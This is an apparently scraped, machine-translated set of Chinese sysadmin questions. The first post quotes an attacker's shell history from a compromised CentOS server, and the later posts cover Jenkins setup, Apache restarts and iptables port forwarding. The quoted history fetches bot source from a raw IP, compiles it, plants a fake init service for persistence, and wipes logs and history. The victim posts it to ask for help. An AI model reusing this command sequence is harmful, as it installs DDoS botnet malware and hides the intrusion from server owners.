我们今天使用 Putty 远程登录到我们的 CentOS 服务器,在使用向上箭头浏览之前的命令时,偶然发现了以下内容:
unset HISTFILE
mkdir /usr/lib/tmp
cd /usr/lib/tmp
wget http://188.72.217.17/mzb.c -o /dev/null
wget http://188.72.217.17/windef.h -o /dev/null
gcc mzb.c -o /bin/bot -lpthread
rm -rf mzb.c
rm -rf windef.h
wget http://188.72.217.17/botsupport.sh -o /dev/null
chmod +x botsupport.sh
mv botsupport.sh /etc/init.d/httpd2
cat /etc/init.d/network > /etc/init.d/network.bp
echo \#\!/bin/sh > /etc/init.d/network
echo nohup /etc/init.d/httpd2 \& >> /etc/init.d/network
cat /etc/init.d/network.bp >> /etc/init.d/network
cat /dev/null > /var/log/lastlog
history -c
nohup /etc/init.d/httpd2 &
Run Code Online (Sandbox Code Playgroud)
(为了清晰起见,用换行符替换了&&)
我从来没有运行过这些命令,永远!这是怎么发生的,我的服务器被黑客入侵了吗?我立即更改了我的 root 密码,但希望有人能对这里发生的事情有所了解。
我看到源代码中提到了 ddos bots,我和我的同事都非常担心!
提前致谢!
我正在尝试在我的 Web 服务器上安装Jenkins,这是一个在 Amazon EC2 实例上运行的 Ubuntu 13.10 服务器。我已经重新启动詹金斯使用
sudo /etc/init.d/jenkins restart
Run Code Online (Sandbox Code Playgroud)
当我检查我的进程时
ps aux | grep jenkins
Run Code Online (Sandbox Code Playgroud)
我可以看到多个项目正在运行,并具有以下描述:
jenkins 22356 0.0 0.0 20268 400 ? S 10:10 0:00 /usr/bin/daemon --name=jenkins --inherit --env=JENKINS_HOME=/var/lib/jenkins --output=/var/log/jenkins/jenkins.log --pidfile=/var/run/jenkins/jenkins.pid -- /usr/bin/java -jar /usr/share/jenkins/jenkins.war --webroot=/var/run/jenkins/war --httpPort=8080 --ajp13Port=-1 --httpListenAddress=127.0.0.1 --ajp13ListenAddress=127.0.0.1 --preferredClassLoader=java.net.URLClassLoader
jenkins 22358 5.9 5.7 1618372 97376 ? Sl 10:10 0:17 /usr/bin/java -jar /usr/share/jenkins/jenkins.war --webroot=/var/run/jenkins/war --httpPort=8080 --ajp13Port=-1 --httpListenAddress=127.0.0.1 --ajp13ListenAddress=127.0.0.1 --preferredClassLoader=java.net.URLClassLoader
Run Code Online (Sandbox Code Playgroud)
服务器不想让我访问这个安装,所以如果我访问
x.x.x.x:8080
Run Code Online (Sandbox Code Playgroud)
我只是收到一个“糟糕!谷歌浏览器无法连接”页面,甚至没有 HTTP 状态 404 / 500。
我尝试检查/var/log/jenkins/jenkins.log,但它并不表示任何问题。重启后的日志输出如下:
Running …
Run Code Online (Sandbox Code Playgroud) 我在 Mac OS X 10.8 (Mountain Lion) 安装中使用标准 Apache 服务器,并在运行时发现
sudo apachectl restart
Run Code Online (Sandbox Code Playgroud)
该命令仅在完成时显示提示,无论 Apache 是否启动失败。没有反馈,直到您刷新浏览器以查看 localhost 是否仍然有效。
有没有办法将 Apache 配置得更详细一点?
我试图让 Jenkins 使用 Git 作为我们的 SCM,并且设置它有点痛苦。
指定要使用的 Codebase Git 存储库时,请使用以下格式:
https://our.domain.com/repository/repository.git
Run Code Online (Sandbox Code Playgroud)
我从詹金斯收到以下错误:
Failed to connect to repository : Failed to connect to https://our.domain.com/repository/repository.git (status = 401)
Run Code Online (Sandbox Code Playgroud)
该存储库是私有的,我不确定如何为其配置用户帐户。我在我的 Ubuntu 服务器上为 Jenkins 用户生成了一个 RSA SSH 密钥,并将其作为部署密钥添加到代码库中。
我不断收到 404 错误?
另外,如果我尝试
git@codebasehq.com:.../repository.git
Run Code Online (Sandbox Code Playgroud)
格式,我只是从 Jenkins 得到一个不同的错误:
Failed to connect to repository : Command "ls-remote -h git@codebasehq.com:.../repository.git HEAD" returned status code 128:
stdout:
stderr: Host key verification failed.
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and …
Run Code Online (Sandbox Code Playgroud) 我在我的 Web 服务器上托管了两个应用程序,一个是 Drupal 站点,另一个是 Errbit 安装,它是一个 Ruby on Rails 应用程序。这些 URL 看起来像这样:
http://ourcompany.com
http://errbit.ourcompany.com:3000
Run Code Online (Sandbox Code Playgroud)
我想在第二个 URL 上删除 :3000 的需要,因此我们可以通过以下方式直接访问它:
http://errbit.ourcompany.com
Run Code Online (Sandbox Code Playgroud)
我不想重定向,我希望保留 URL,没有端口号。我以前使用以下命令行命令来设置一些 IP 表重新配置:
sudo iptables -t nat -I PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 3000
sudo iptables -t nat -I OUTPUT -p tcp -d 127.0.0.1 --dport 80 -j REDIRECT --to-ports 3000
Run Code Online (Sandbox Code Playgroud)
...运行良好,因为旧服务器上没有运行 Apache。但是,这将导致端口 80 上的所有请求都被重定向到端口 3000,这意味着它将中断对http://ourcompany.com 的
我该如何设置?
有没有办法配置 IP 表以允许这样做,或者这会在 Apache2 配置中完成吗?